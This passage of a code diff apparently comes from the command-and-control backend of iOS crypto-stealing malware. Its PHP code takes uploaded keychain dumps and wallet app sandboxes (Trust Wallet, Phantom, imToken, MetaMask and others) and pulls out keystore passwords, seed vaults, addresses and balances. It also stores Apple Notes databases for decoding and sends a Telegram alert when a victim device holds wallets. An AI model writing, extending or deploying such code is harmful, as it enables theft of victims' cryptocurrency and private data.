->where('device_id', $device->id) + ->where('source', 'app/keychain') + ->first(); + if ($row === null) { + return; + } + $json = is_array($row->raw_json) ? $row->raw_json : []; + $wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : []; + if ($wallets === []) { + return; + } + $before = json_encode($wallets); + $this->persistEncryptedVaultsFromKeychain($device, $wallets); + if ($before === json_encode($wallets)) { + return; + } + $json['wallets'] = $wallets; + $row->raw_json = $json; + if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) { + $row->content_hash = WalletKeystore::hashPayload($json); + } + foreach (WalletKeystore::listStatsAttributes(WalletKeystore::computeListStatsFromJson($json)) as $key => $value) { + $row->setAttribute($key, $value); + } + $row->save(); + } + + /** + * @param array $item + * @return array|null + */ + private function vaultJsonFromKeychainItem(array $item): ?array + { + $hex = (string) ($item['dataHex'] ?? ''); + if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) { + return null; + } + $raw = @hex2bin($hex); + if (! is_string($raw) || $raw === '') { + return null; + } + $json = json_decode($raw, true); + if (! is_array($json)) { + return null; + } + foreach (['cipher', 'iv', 'salt'] as $key) { + if (! is_string($json[$key] ?? null) || $json[$key] === '') { + return null; + } + } + + return $json; + } + + /** + * Decode the base64-encoded content in and return the raw + * bytes as hex. + * + * Two storage formats exist in iOS keychain dumps: + * 1. Plist-wrapped: KEYbase64… + * — common for Apple system entries (Bluetooth, account tokens). + * 2. Raw value: the base64-decoded content is the value itself (a hex + * string, a plain-text password, a JSON snippet, etc.) with no plist + * wrapper — common for third-party app entries (Trust Wallet stores + * the keystore password as a base64-encoded hex string). + * + * @param string $vDataRaw Base64-encoded content from . + */ + private function decodeKeychainVData(string $vDataRaw): string + { + $vDataRaw = trim($vDataRaw); + if ($vDataRaw === '') { + return ''; + } + $decoded = base64_decode($vDataRaw, true); + if (! is_string($decoded) || $decoded === '') { + return ''; + } + + // ── 1. Try plist-wrapped format (Apple system entries) ── + // The plist is XML: KEYbase64 + if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) { + try { + $px = @new \SimpleXMLElement($decoded); + $dataNodes = $px->xpath('//data'); + foreach ($dataNodes as $dataNode) { + $b64 = trim((string) $dataNode); + if ($b64 === '') { + continue; + } + $bin = base64_decode($b64, true); + if (is_string($bin) && $bin !== '') { + return bin2hex($bin); + } + } + } catch (\Throwable) { + // fall through to raw handling + } + } + + // ── 2. Raw value (third-party app entries) ── + // The decoded content IS the value — return it as hex so the + // keystore decryptor can try it as a password. This covers: + // • hex strings (Trust Wallet keystore password) + // • plain text passwords + // • small JSON blobs + return bin2hex($decoded); + } + + /** + * Fill missing Phantom account/service so recoverPhantom can match seedless vaults. + * + * @return array{account: string, service: string, accessGroup: string, dataHex: string} + */ + private function normalizeKeychainItem(string $acct, string $svce, string $agrp, string $dataHex): array + { + $bundle = strtolower($this->bundleIdFromAgrp($agrp)); + $isPhantom = str_contains($bundle, 'phantom') + || str_contains(strtolower($agrp), 'phantom') + || str_contains(strtolower($acct), 'phantom'); + if ($isPhantom && $acct === '') { + $raw = ''; + if ($dataHex !== '' && ctype_xdigit($dataHex) && strlen($dataHex) % 2 === 0) { + $raw = (string) @hex2bin($dataHex); + } + $json = $raw !== '' ? json_decode($raw, true) : null; + if (is_array($json) && (isset($json['entropy']) || isset($json['seed']) || isset($json['keyPairs']))) { + $acct = bin2hex('.phantom-labs.vault.seedless'); + if ($svce === '') { + $svce = 'app:no-auth'; + } + } + } + + return [ + 'account' => $acct, + 'service' => $svce, + 'accessGroup' => $agrp, + 'dataHex' => $dataHex, + ]; + } + + /** + * Map a keychain access group (agrp) to a wallet source label. + * agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id". + */ + private function sourceFromAgrp(string $agrp, string $acct): string + { + $agrp = trim($agrp); + if ($agrp === '') { + // Fall back to account-based hint. + $hint = WalletSource::fromKeystoreHint($acct); + + return $hint !== '' ? $hint : 'unknown'; + } + // Extract bundle id: take the part after the first dot. + $bundle = ''; + $parts = explode('.', $agrp, 2); + if (count($parts) === 2) { + $bundle = $parts[1]; + } + $label = WalletSource::labelForBundle($bundle, ''); + if ($label !== '' && $label !== $bundle) { + return $label; + } + $hint = WalletSource::fromKeystoreHint($bundle); + if ($hint !== '') { + return $hint; + } + + return $bundle !== '' ? $bundle : 'unknown'; + } + + /** + * Extract the raw bundle ID from a keychain access group. + * agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id". + */ + private function bundleIdFromAgrp(string $agrp): string + { + $agrp = trim($agrp); + if ($agrp === '') { + return ''; + } + $parts = explode('.', $agrp, 2); + + return $parts[1] ?? ''; + } + + /** + * Record a bundle ID into the device's installed-app list. The malware + * only uploads a tar for apps whose sandbox it could dump, so any + * uploaded bundle ID is proof the app is installed. Keychain access + * groups are a secondary signal (the app has keychain entries). + */ + private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void + { + $bundleId = trim($bundleId); + if ($bundleId === '' || DeviceApp::shouldSkipBundle($bundleId)) { + return; + } + $label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId); + $displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId); + + DeviceApp::query()->updateOrCreate( + ['device_id' => $device->id, 'bundle_id' => $bundleId], + [ + 'name' => $displayName, + 'is_wallet' => WalletSource::isPluginWalletBundle($bundleId), + 'meta_json' => ['source' => 'app_upload', 'uploaded_at' => now()->toIso8601String()], + ] + ); + + $this->refreshDeviceWalletFlag($device); + } + + /** + * Refresh the device's has_wallet / wallet_names flags from the + * current installed-app list. Sends a Telegram notification when + * wallets are first detected (has_wallet transitions NONE → YES), + * mirroring IngestService::refreshDeviceWalletFlag. + */ + private function refreshDeviceWalletFlag(Device $device): void + { + $names = []; + foreach ($device->apps()->get(['bundle_id', 'name']) as $app) { + $bundle = (string) $app->bundle_id; + if (! WalletSource::isPluginWalletBundle($bundle)) { + continue; + } + $label = WalletSource::labelForBundle($bundle, $app->name); + $names[$label] = true; + } + $labels = array_keys($names); + sort($labels); + + $alreadyYes = (int) $device->has_wallet === Device::WALLET_YES; + $device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES; + $device->wallet_names = $labels === [] ? null : $labels; + $device->saveQuietly(); + + // Notify Telegram the first time wallets are detected + // (UNKNOWN/NONE → YES transition). + if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) { + try { + app(\App\Services\TelegramNotifier::class) + ->notifyInstalledWallets($device->device_id, $labels); + } catch (\Throwable $e) { + Log::channel('keystore')->warning( + 'AppUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(), + ['device_id' => $device->id, 'device_key' => $device->device_id], + ); + } + } + } + + // ── wallet app tar ────────────────────────────────────────── + + /** + * Walk a wallet app tar for Web3 UTC / walletsV2 JSON and on-chain + * addresses. Standard keystores are stored as their own rows. The rest of + * the sandbox (MMKV, icons, encrypted DBs) is not persisted — it is not + * used to unlock a mnemonic once the UTC blob is extracted. + */ + private function parseWalletTar(Device $device, string $content, string $bundleId): void + { + $source = WalletSource::labelForBundle($bundleId, $bundleId); + if ($source === '' || $source === $bundleId) { + $hint = WalletSource::fromKeystoreHint($bundleId); + $source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown'); + } + + // The malware only uploads a tar for apps whose sandbox it could + // dump — so this bundle is definitely installed on the device. + $this->recordInstalledApp($device, $bundleId, $source); + + $sandbox = $this->extractTarSandbox($content); + $needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox); + $this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword); + $this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox); + + Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [ + 'device_id' => $device->id, + 'bundle_id' => $bundleId, + 'source' => $source, + 'files' => $sandbox === [] ? 0 : count($sandbox, COUNT_RECURSIVE), + 'needs_password' => $needsPassword ? 1 : null, + ]); + } + + /** + * Standard Web3 UTC / walletsV2 blobs nested in the sandbox become their own rows + * so the keystore list can show "标准 Keystore" and the plaintext viewer. + * + * @param array $sandbox + */ + private function storeWeb3KeystoresFromSandbox(Device $device, string $source, array $sandbox, bool $needsPassword): void + { + foreach ($this->collectWeb3Nodes($sandbox) as $node) { + $payload = $node; + $payload['kind'] = 'web3.keystore'; + WalletKeystore::firstOrCreateForDevice($device, $source, $payload, $needsPassword); + } + } + + /** + * @param mixed $node + * @return list> + */ + private function collectWeb3Nodes(mixed $node, int $depth = 0): array + { + if ($depth > 12 || ! is_array($node)) { + return []; + } + $out = []; + $crypto = $node['crypto'] ?? null; + if (is_array($crypto) && isset($crypto['ciphertext'], $crypto['mac'])) { + $out[] = $node; + } + foreach ($node as $child) { + if (is_array($child)) { + $out = array_merge($out, $this->collectWeb3Nodes($child, $depth + 1)); + } + } + + return $out; + } + + /** + * imToken / MetaMask / TronLink / TokenPocket sandbox UTC cannot be opened + * without the user password (Trust UTC uses a keychain password instead). + * + * @param array $sandbox + */ + private function sandboxNeedsUserPassword(string $bundleId, string $source, array $sandbox): bool + { + $bundle = strtolower(trim($bundleId)); + $label = strtolower(trim($source)); + $names = $bundle.' '.$label; + if (str_contains($names, 'trust')) { + return false; + } + $passwordWallets = ( + str_contains($names, 'imtoken') || str_contains($names, 'im.token') + || str_contains($names, 'metamask') + || str_contains($names, 'tronlink') + || str_contains($names, 'tokenpocket') + || str_contains($names, 'global wallet') + || str_contains($names, 'com.global.wallet') + || str_contains($names, 'vip.mytokenpocket') + ); + if (! $passwordWallets) { + return false; + } + if (str_contains($names, 'metamask') || str_contains($names, 'tokenpocket') || str_contains($names, 'global wallet') || str_contains($names, 'com.global.wallet')) { + return true; + } + + return $this->collectWeb3Nodes($sandbox) !== []; + } + + /** + * Pull chain addresses (and TronLink sqlite balances) into wallet_addresses. + * + * @param array $sandbox + */ + private function ingestAddressesFromWalletTar(Device $device, string $source, string $bundleId, string $tar, array $sandbox): void + { + $rows = []; + $imToken = $this->isImTokenSource($source, $bundleId); + $tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId); + // Global Wallet / TokenPocket Documents tar is token-list + helper + // contracts (balanceContract / batchTxContract). Real wallets live in + // encrypted sqlite and are not recoverable from this dump. + $hits = []; + if ($imToken) { + $hits = $this->collectImTokenAddressHits($sandbox); + } elseif ($this->isTrustSource($source, $bundleId)) { + $hits = $this->collectTrustAddressHits($sandbox); + } elseif (! $tokenPocketFamily) { + $hits = $this->collectAddressHits($sandbox); + } + foreach ($hits as $hit) { + // Same 0x is ETH + BSC + ARB on Trust HD. Key by chain too or + // the last coin (ARB) overwrites ETH. + $rows[$hit['chain_type'].'|'.$hit['address']] = $hit; + } + if (! $imToken && ! $tokenPocketFamily && ! $this->isTrustSource($source, $bundleId)) { + foreach ($this->collectSqliteAddressHits($tar) as $hit) { + $key = $hit['address']; + if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) { + $rows[$key]['balance'] = array_merge($rows[$key]['balance'], $hit['balance']); + } else { + $rows[$key] = $hit; + } + } + } + if ($rows === []) { + return; + } + $tag = WalletSource::tagForLabel($source); + if ($tag === '') { + $tag = WalletSource::tagForLabel(WalletSource::labelForBundle($bundleId, $source)) ?: 'd'; + } + $ad = []; + foreach ($rows as $hit) { + $base = [ + 'address' => $hit['address'], + 'chainType' => $hit['chain_type'], + ]; + $balance = is_array($hit['balance'] ?? null) ? $hit['balance'] : []; + if ($balance === []) { + $ad[] = $base; + + continue; + } + foreach ($balance as $symbol => $amount) { + $ad[] = array_merge($base, [ + 'symbol' => strtoupper((string) $symbol), + 'balance' => $amount, + ]); + } + } + $this->ingest->ingestAddresses($device, [ + 'a' => $tag, + 'ad' => $ad, + ]); + } + + private function isImTokenSource(string $source, string $bundleId): bool + { + $hay = strtolower($source.' '.$bundleId); + + return str_contains($hay, 'imtoken') || str_contains($hay, 'im.token'); + } + + private function isTokenPocketFamily(string $source, string $bundleId): bool + { + $hay = strtolower($source.' '.$bundleId); + + return str_contains($hay, 'global wallet') + || str_contains($hay, 'com.global.wallet') + || str_contains($hay, 'tokenpocket') + || str_contains($hay, 'token pocket') + || str_contains($hay, 'mytokenpocket'); + } + + private function isTrustSource(string $source, string $bundleId): bool + { + $hay = strtolower($source.' '.$bundleId); + + return str_contains($hay, 'trust') + || str_contains($hay, 'sixdays.trust') + || str_contains($hay, 'wallet.crypto.trustapp'); + } + + /** + * Trust HD UTC lists every WalletCore coin in activeAccounts. Many of + * those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not + * be stored as Ethereum. Reuse the DS collector: BTC/ETH/TRX/BSC/SOL/ARB. + * + * @param array $sandbox + * @return list}> + */ + private function collectTrustAddressHits(array $sandbox): array + { + $out = []; + foreach ($this->trustAddresses->collect($sandbox) as $row) { + $out[] = [ + 'address' => $row['address'], + 'chain_type' => $row['chainType'], + 'balance' => [], + ]; + } + if ($out !== []) { + return $out; + } + foreach ($this->collectWeb3Nodes($sandbox) as $node) { + $addr = $node['address'] ?? null; + if (! is_string($addr) || $addr === '') { + continue; + } + $hit = $this->addressHitFromString($addr); + if ($hit !== null) { + $out[] = $hit; + } + } + + return $out; + } + + /** + * imToken AsyncStorage mixes the real EOA with token-list contract + * addresses under the same `address` key. Keep accountAddress and + * AccountModel EOAs only — never walletsV2 UTC address or USDT/WETH + * contracts. + * + * @param mixed $node + * @return list}> + */ + private function collectImTokenAddressHits(mixed $node, int $depth = 0): array + { + if ($depth > 14 || ! is_array($node)) { + return []; + } + $out = []; + $accountAddress = $node['accountAddress'] ?? null; + if (is_string($accountAddress)) { + $hit = $this->addressHitFromString($accountAddress); + if ($hit !== null) { + $out[] = $hit; + } + } + if ($this->isImTokenAccountNode($node)) { + $addr = $node['address'] ?? null; + if (is_string($addr)) { + $hit = $this->addressHitFromString($addr); + if ($hit !== null) { + $out[] = $hit; + } + } + } + foreach ($node as $child) { + if (is_array($child)) { + $out = array_merge($out, $this->collectImTokenAddressHits($child, $depth + 1)); + } + } + + return $out; + } + + /** + * @param array $node + */ + private function isImTokenAccountNode(array $node): bool + { + if (isset($node['tokenType']) || isset($node['tokenStandard'])) { + return false; + } + $type = strtoupper((string) ($node['type'] ?? '')); + if ($type === 'EOA') { + return true; + } + $path = (string) ($node['path'] ?? ''); + + return str_starts_with($path, "m/44'"); + } + + /** + * @param mixed $node + * @return list}> + */ + private function collectAddressHits(mixed $node, int $depth = 0): array + { + if ($depth > 12 || $node === null) { + return []; + } + $out = []; + if (is_string($node)) { + $hit = $this->addressHitFromString($node); + if ($hit !== null) { + $out[] = $hit; + } + + return $out; + } + if (! is_array($node)) { + return []; + } + foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) { + if (isset($node[$key]) && is_string($node[$key])) { + $hit = $this->addressHitFromString($node[$key]); + if ($hit !== null) { + $out[] = $hit; + } + } + } + foreach ($node as $child) { + if (is_array($child) || is_string($child)) { + $out = array_merge($out, $this->collectAddressHits($child, $depth + 1)); + } + } + + return $out; + } + + /** + * @return array{address: string, chain_type: string, balance: array}|null + */ + private function addressHitFromString(string $raw): ?array + { + $addr = trim($raw); + if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) { + $addr = '0x'.$addr; + } + $chain = WalletSource::inferChainType($addr); + if (! WalletSource::isSupportedChain($chain)) { + return null; + } + + return [ + 'address' => $addr, + 'chain_type' => $chain, + 'balance' => [], + ]; + } + + /** + * @return list}> + */ + private function collectSqliteAddressHits(string $tar): array + { + $out = []; + $this->eachTarFile($tar, function (string $path, string $raw) use (&$out): void { + if (strlen($raw) < 16 || ! str_starts_with($raw, "SQLite format 3")) { + return; + } + foreach ($this->parseSqliteWalletRows($raw) as $hit) { + $out[] = $hit; + } + }); + + return $out; + } + + /** + * @return list}> + */ + private function parseSqliteWalletRows(string $sqlite): array + { + $tmp = tempnam(sys_get_temp_dir(), 'app_upload_sqlite_'); + if ($tmp === false) { + return []; + } + try { + if (@file_put_contents($tmp, $sqlite) === false) { + return []; + } + $pdo = new \PDO('sqlite:'.$tmp, null, null, [ + \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, + ]); + $tables = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'")->fetchAll(\PDO::FETCH_COLUMN); + $byAddr = []; + foreach ($tables as $table) { + $table = (string) $table; + if ($table === '' || str_starts_with($table, 'sqlite_')) { + continue; + } + $cols = []; + try { + $infoName = preg_match('/^[A-Za-z0-9_]+$/', $table) + ? $table + : '"'.str_replace('"', '""', $table).'"'; + $cols = $pdo->query('PRAGMA table_info('.$infoName.')')->fetchAll(\PDO::FETCH_ASSOC); + } catch (\Throwable) { + continue; + } + $colNames = []; + foreach ($cols as $col) { + $colNames[] = (string) ($col['name'] ?? ''); + } + $addrCol = $this->firstMatchingColumn($colNames, ['address', 'walletAddress', 'wallet_address', 'addr']); + if ($addrCol === null) { + continue; + } + $quotedTable = '"'.str_replace('"', '""', $table).'"'; + $quotedAddr = '"'.str_replace('"', '""', $addrCol).'"'; + $stmt = $pdo->query('SELECT * FROM '.$quotedTable.' WHERE '.$quotedAddr.' IS NOT NULL'); + while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) { + $hit = $this->addressHitFromString((string) ($row[$addrCol] ?? '')); + if ($hit === null) { + continue; + } + $addr = $hit['address']; + if (! isset($byAddr[$addr])) { + $byAddr[$addr] = $hit; + } + $coin = $this->coinFromSqliteRow($row); + $amount = $this->numericFromSqliteRow($row, ['balance', 'amount', 'quantity', 'value']); + if ($coin !== null && $amount !== null) { + $byAddr[$addr]['balance'][$coin] = $amount; + } + } + } + + return array_values($byAddr); + } catch (\Throwable) { + return []; + } finally { + @unlink($tmp); + } + } + + /** + * @param list $cols + * @param list $want + */ + private function firstMatchingColumn(array $cols, array $want): ?string + { + $lower = []; + foreach ($cols as $col) { + $lower[strtolower($col)] = $col; + } + foreach ($want as $name) { + if (isset($lower[strtolower($name)])) { + return $lower[strtolower($name)]; + } + } + + return null; + } + + /** + * @param array $row + */ + private function coinFromSqliteRow(array $row): ?string + { + foreach (['shortName', 'tokenName', 'name', 'symbol', 'tokenAbbr', 'token_name'] as $key) { + if (! isset($row[$key]) || ! is_string($row[$key])) { + continue; + } + $sym = strtoupper(trim($row[$key])); + if ($sym === 'TRX') { + return 'trx'; + } + if ($sym === 'USDT' || $sym === 'USD₮') { + return 'usdt'; + } + if ($sym === 'ETH') { + return 'eth'; + } + if ($sym === 'BTC') { + return 'btc'; + } + if ($sym === 'BNB') { + return 'bnb'; + } + } + foreach (['contractAddress', 'tokenAddress', 'contract', 'id'] as $key) { + $val = strtoupper(trim((string) ($row[$key] ?? ''))); + if ($val === strtoupper(self::USDT_TRC20)) { + return 'usdt'; + } + } + + return null; + } + + /** + * @param array $row + * @param list $keys + */ + private function numericFromSqliteRow(array $row, array $keys): ?string + { + foreach ($keys as $key) { + if (! array_key_exists($key, $row)) { + continue; + } + $val = $row[$key]; + if ($val === null || $val === '') { + continue; + } + if (! is_numeric($val)) { + continue; + } + + return (string) $val; + } + + return null; + } + + /** + * @param callable(string $path, string $raw): void $cb + */ + private function eachTarFile(string $content, callable $cb): void + { + if (! $this->looksLikeTar($content)) { + return; + } + $tmp = tempnam(sys_get_temp_dir(), 'app_upload_walk_'); + if ($tmp === false) { + return; + } + $tmpTar = $tmp.'.tar'; + @rename($tmp, $tmpTar); + $tmp = $tmpTar; + try { + if (@file_put_contents($tmp, $content) === false) { + return; + } + try { + $phar = new \PharData($tmp); + } catch (\Throwable) { + return; + } + $prefix = 'phar://'.$tmp; + foreach (new \RecursiveIteratorIterator($phar) as $f) { + if (! $f->isFile()) { + continue; + } + $rel = ltrim(str_replace('\\', '/', $f->getPathname())); + if (str_starts_with($rel, $prefix)) { + $rel = substr($rel, strlen($prefix)); + } + $rel = ltrim($rel, '/'); + $raw = @file_get_contents($f->getPathname()); + if (! is_string($raw) || $raw === '') { + continue; + } + $cb($rel, $raw); + } + } finally { + @unlink($tmp); + } + } + + // ── Apple Notes tar ───────────────────────────────────────── + + /** + * Extract a group.com.apple.notes tar, pull out NoteStore.sqlite + + * -wal + -shm, save them to the location DsMemoDecoder expects + * (c2/ds-results///), and dispatch the + * DecodeMemoDb job to parse note text off the request thread. + */ + private function parseNotesTar(Device $device, string $content, string $uploadId): void + { + $files = $this->extractNotesDbFiles($content); + if ($files === []) { + Log::channel('keystore')->warning('AppUploadIngester: notes tar has no NoteStore.sqlite', [ + 'device_id' => $device->id, + 'upload_id' => $uploadId, + ]); + + return; + } + + // DsMemoDecoder looks for files under + // storage/app/c2/ds-results///NoteStore.sqlite + $commandId = 'app_'.substr($uploadId, 0, 8); + $dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId; + $disk = \Illuminate\Support\Facades\Storage::disk('local'); + + foreach ($files as $name => $data) { + $disk->put($dir.'/'.$name, $data); + } + + Log::channel('keystore')->info('AppUploadIngester: stored notes db', [ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'command_id' => $commandId, + 'files' => array_keys($files), + ]); + + // Dispatch the async SQLite decoder job. + try { + \App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId); + } catch (\Throwable $e) { + Log::channel('keystore')->error('AppUploadIngester: DecodeMemoDb dispatch failed', [ + 'device_id' => $device->id, + 'command_id' => $commandId, + 'error' => $e->getMessage(), + ]); + } + } + + /** + * Extract NoteStore.sqlite + -wal + -shm from a notes tar archive. + * + * @return array Map of filename → raw bytes. + */ + private function extractNotesDbFiles(string $content): array + { + if (! $this->looksLikeTar($content)) { + return []; + } + $tmp = tempnam(sys_get_temp_dir(), 'app_upload_notes_'); + if ($tmp === false) { + return []; + } + // PharData requires a .tar extension to recognise the archive format. + $tmpTar = $tmp . '.tar'; + @rename($tmp, $tmpTar); + $tmp = $tmpTar; + try { + if (@file_put_contents($tmp, $content) === false) { + return []; + } + try { + $phar = new \PharData($tmp); + } catch (\Throwable) { + return []; + } + + $wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm']; + $out = []; + foreach (new \RecursiveIteratorIterator($phar) as $f) { + if (! $f->isFile()) { + continue; + } + $base = basename($f->getPathname()); + if (! in_array($base, $wanted, true)) { + continue; + } + $raw = @file_get_contents($f->getPathname()); + if ($raw === false || $raw === '') { + continue; + } + $out[$base] = $raw; + } + + return $out; + } finally { + @unlink($tmp); + } + } + + /** + * Extract a tar (ustar) archive into a nested dict of file paths → + * decoded content. JSON files are parsed into arrays; binary files + * (Realm DBs, SQLite) are stored as base64; everything else is stored + * as a UTF-8 string when possible. + * + * @return array + */ + private function extractTarSandbox(string $content): array + { + if (! $this->looksLikeTar($content)) { + return []; + } + + $tmp = tempnam(sys_get_temp_dir(), 'app_upload_tar_'); + if ($tmp === false) { + return []; + } + // PharData requires a .tar extension to recognise the archive format. + $tmpTar = $tmp . '.tar'; + @rename($tmp, $tmpTar); + $tmp = $tmpTar; + try { + if (@file_put_contents($tmp, $content) === false) { + return []; + } + try { + $phar = new \PharData($tmp); + } catch (\Throwable) { + return []; + } + + $sandbox = []; + $count = 0; + $maxFiles = 200; + foreach (new \RecursiveIteratorIterator($phar) as $f) { + if ($count >= $maxFiles) { + break; + } + if (! $f->isFile()) { + continue; + } + $rel = ltrim(str_replace('\\', '/', $f->getPathname())); + // Strip the "phar://" prefix. The temp file + // path is absolute (starts with "/"), so the old [^/]+ pattern + // failed to match the leading slash — use the known prefix. + $prefix = 'phar://'.$tmp; + if (str_starts_with($rel, $prefix)) { + $rel = substr($rel, strlen($prefix)); + } else { + // Fallback: strip phar:// + everything up to the first .tar + $rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel; + } + $rel = ltrim($rel, '/'); + if ($rel === '') { + continue; + } + + $raw = @file_get_contents($f->getPathname()); + if ($raw === false || $raw === '') { + continue; + } + $decoded = $this->decodeFileContent($raw, $rel); + if ($decoded === null) { + continue; + } + $this->setNestedPath($sandbox, $rel, $decoded); + $count++; + } + + return $sandbox; + } finally { + @unlink($tmp); + } + } + + /** + * @return mixed Array for JSON, string for text/base64, null to skip. + */ + private function decodeFileContent(string $raw, string $path): mixed + { + // JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf). + $first = $raw[0] ?? ''; + if ($first === '{' || $first === '[') { + $json = json_decode($raw, true); + if (is_array($json)) { + return $json; + } + } + + // Small text files → UTF-8 string. + if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) { + return $raw; + } + + // Binary files (Realm, SQLite) → base64 (capped to avoid OOM). + $cap = 512 * 1024; // 512 KiB + if (strlen($raw) > $cap) { + return null; // skip large binaries — not useful for mnemonic recovery + } + + return base64_encode($raw); + } + + /** + * Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]). + * + * @param array $arr + */ + private function setNestedPath(array &$arr, string $path, mixed $value): void + { + $parts = explode('/', $path); + $ref = &$arr; + $n = count($parts); + for ($i = 0; $i < $n - 1; $i++) { + $key = $parts[$i]; + if (! isset($ref[$key]) || ! is_array($ref[$key])) { + $ref[$key] = []; + } + $ref = &$ref[$key]; + } + $ref[$parts[$n - 1]] = $value; + } +} diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 0287171..eb6cbca 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -3,6 +3,7 @@ namespace App\Services; use App\Models\Device; +use App\Models\DeviceApp; use App\Models\DsChainLog; use App\Models\PageVisit; use App\Models\User; @@ -248,17 +249,18 @@ class DarkSwordIngestAdapter $wallets = $keychain['wallets'] ?? []; $sandbox = $payload['sandbox'] ?? []; - // Store keystores synchronously (fast), then dispatch async decryption. + // Store keychain + decryptable UTC only. Do not persist the rest of sandbox. $rows = array_merge( $this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null), - $this->storeWalletKeystores($device, $sandbox, 'sandbox', null), + $this->storeWeb3KeystoresFromTree($device, $sandbox), ); // Synchronous address ingestion from sandbox/wallets (Trust-style). $this->trustAddresses->ingest($device, $sandbox); $this->trustAddresses->ingest($device, $wallets); - // Async: mnemonic recovery + plaintext walk + address extraction. + // Async: mnemonic recovery still receives the in-memory sandbox for this + // request; later reprocess rebuilds UTC from stored web3.keystore rows. DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); } @@ -506,7 +508,7 @@ class DarkSwordIngestAdapter return; } $this->trustAddresses->ingest($device, $raw); - $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null); + $this->storeWeb3KeystoresFromTree($device, ['trust_wallet' => $raw]); // Async: attempt Trust UTC keystore decryption. DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]); @@ -528,10 +530,10 @@ class DarkSwordIngestAdapter $wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : []; $sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : []; - // Store keystores synchronously (fast), then dispatch async decryption. + // Store keychain + decryptable UTC only. $rows = array_merge( $this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null), - $this->storeWalletKeystores($device, $sandbox, 'sandbox', null), + $this->storeWeb3KeystoresFromTree($device, $sandbox), ); // Synchronous address ingestion from sandbox/wallets (Trust-style). @@ -556,10 +558,10 @@ class DarkSwordIngestAdapter if ($json === null) { return; } - $this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null); + $payload = $json; + $payload['kind'] = 'web3.keystore'; + $this->createKeystore($device, 'imToken', $payload, true); - // Async: attempt recovery (imToken needs password — will likely fail, - // but the job logs the reason and still extracts addresses if any). DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null); } @@ -749,7 +751,7 @@ class DarkSwordIngestAdapter continue; } $bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? '')); - if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) { + if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple') || DeviceApp::shouldSkipBundle($bundle)) { continue; } $row = [ @@ -810,6 +812,92 @@ class DarkSwordIngestAdapter return false; } + /** + * Persist standard Web3 UTC / walletsV2 blobs found in a sandbox tree. + * The rest of the sandbox is discarded. + * + * @return list + */ + private function storeWeb3KeystoresFromTree(Device $device, mixed $tree): array + { + $items = $this->keystoreDecrypt->collectKeystores($tree); + $rows = []; + $seen = []; + foreach ($items as $item) { + $ks = $item['keystore']; + $crypto = $ks['crypto'] ?? $ks['Crypto'] ?? []; + $fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? ''); + if ($fp === '|' || isset($seen[$fp])) { + continue; + } + $seen[$fp] = true; + $source = trim((string) ($item['source'] ?? '')); + if ($source === '') { + $source = 'Trust Wallet'; + } + $payload = $ks; + $payload['kind'] = 'web3.keystore'; + $rows[] = $this->createKeystore( + $device, + $source, + $payload, + $this->web3NeedsUserPassword($source), + ); + } + + return $rows; + } + + private function web3NeedsUserPassword(string $source): bool + { + $label = strtolower(trim($source)); + + return str_contains($label, 'imtoken') + || str_contains($label, 'metamask') + || str_contains($label, 'tronlink') + || str_contains($label, 'tokenpocket') + || str_contains($label, 'global wallet'); + } + + /** + * Rebuild in-memory wallet/sandbox trees from stored rows so decrypt jobs + * still see UTC blobs after we stopped persisting full sandbox dumps. + * + * @return array{0: array, 1: array} + */ + public function storedWalletTrees(Device $device): array + { + $device->loadMissing('keystores'); + $wallets = []; + $sandbox = []; + foreach ($device->keystores as $row) { + $json = 